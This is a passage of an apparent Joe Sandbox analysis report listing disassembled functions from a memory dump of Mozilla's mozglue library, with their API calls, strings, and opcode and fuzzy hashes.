Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268
MOZ_CRASH(), xrefs: 6C95227D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
